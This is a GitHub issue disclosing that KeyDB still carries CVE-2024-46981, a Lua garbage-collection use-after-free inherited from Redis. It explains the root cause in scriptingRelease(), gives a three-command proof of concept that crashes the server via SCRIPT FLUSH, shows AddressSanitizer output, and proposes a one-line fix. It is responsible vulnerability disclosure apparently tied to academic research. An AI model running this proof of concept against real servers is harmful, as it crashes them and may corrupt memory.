Skip to content

[Security] CVE-2024-46981: Lua GC manipulation leading to use-after-free #964

Open

Description

@vulgraph

Vulnerability

KeyDB inherits CVE-2024-46981 from Redis — Lua GC manipulation leading to use-after-free.

Verification

The upstream fix for this CVE has not been cherry-picked into KeyDB. Verified by checking KeyDB latest master (git sha 603ebb27) — fix commit absent, vulnerable code path present.

Suggested Fix

Upstream Redis fix

Activity

  1. vulgraph commented on Apr 14, 2026

    @vulgraph
    Author

    Dynamic Verification Update — ASan Confirmed

    This issue has been upgraded from code-level to dynamically confirmed via AddressSanitizer.

    Environment

    • Image: keydb-asan-final (KeyDB commit 603ebb27, compiled with -fsanitize=address)
    • ASAN_OPTIONS: detect_leaks=0:abort_on_error=1:halt_on_error=1

    Root Cause (detailed)

    scriptingRelease() in src/scripting.cpp:1333 calls lua_close() without first calling lua_gc(LUA_GCCOLLECT, 0):

    // VULNERABLE (KeyDB):
    void scriptingRelease(int async) {
        ...
        lua_close(g_pserver->lua);   // no lua_gc() before this
    }
    
    // FIXED (Valkey commit 4ffd3ebdeb02):
    void scriptingRelease(...) {
        ...
        lua_gc(lua, LUA_GCCOLLECT, 0);  // added: finalize before teardown
        lua_close(lua);
    }

    When SCRIPT FLUSH triggers scriptingRelease(), any pending Lua __gc finalizers (held in Lua's tmudata queue) are executed inside lua_close() while the Lua state is being torn down. A finalizer that calls redis.call() reaches into already-freed Redis server objects — heap-use-after-free.

    PoC

    # 1. Stop incremental GC so finalizers stay pending
    EVAL "collectgarbage('stop'); return 1" 0
    
    # 2. Create userdata with __gc finalizer that calls back into Redis
    EVAL "local objs={} for i=1,10 do local p=newproxy(true); getmetatable(p).__gc=function() redis.call('SET','x','1') end; objs[i]=p end return #objs" 0
    
    # 3. SCRIPT FLUSH -> scriptingRelease -> lua_close -> finalizer fires -> UAF
    SCRIPT FLUSH
    

    ASan Output

    ==7==ERROR: AddressSanitizer: heap-use-after-free on address 0x50b000005188
    READ of size 8 at 0x50b000005188 thread T6
        #0  getMemoryOverheadData()   /keydb/src/object.cpp:1120
        #1  genRedisInfoString()      /keydb/src/server.cpp:5743
        #2  logServerInfo()           /keydb/src/debug.cpp:1806
        #3  sigsegvHandler()          /keydb/src/debug.cpp:2057
        ...  (signal handler)
        #6  luaRedisGenericCommand()  /keydb/src/scripting.cpp:607
        #7  luaRedisCallCommand()     /keydb/src/scripting.cpp:865
        #8  GCTM                      /keydb/deps/lua/src/lgc.c:467
        #9  luaC_callGCTM             /keydb/deps/lua/src/lgc.c:479
        #10 callallgcTM               /keydb/deps/lua/src/lstate.c:195
        #11 lua_close                 /keydb/deps/lua/src/lstate.c:209
        #12 scriptingRelease(int)     /keydb/src/scripting.cpp:1333
        #13 scriptingReset(int)       /keydb/src/scripting.cpp:1337
        #14 scriptCommand(client*)    /keydb/src/scripting.cpp:1807
    
    SUMMARY: AddressSanitizer: heap-use-after-free /keydb/src/object.cpp:1120 in getMemoryOverheadData()
    

    Server crashes with SIGSEGV (signal 11) from within the UAF.

    Fix

    One line in src/scripting.cpp, scriptingRelease():

    lua_gc(g_pserver->lua, LUA_GCCOLLECT, 0);  // run all pending finalizers first
    lua_close(g_pserver->lua);

    This matches Valkey fix commit 4ffd3ebdeb02 (GHSA-39h2-x6c4-6w4c).


    Reported as part of academic research on 1-day vulnerability propagation in open-source fork ecosystems (Xidian University).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions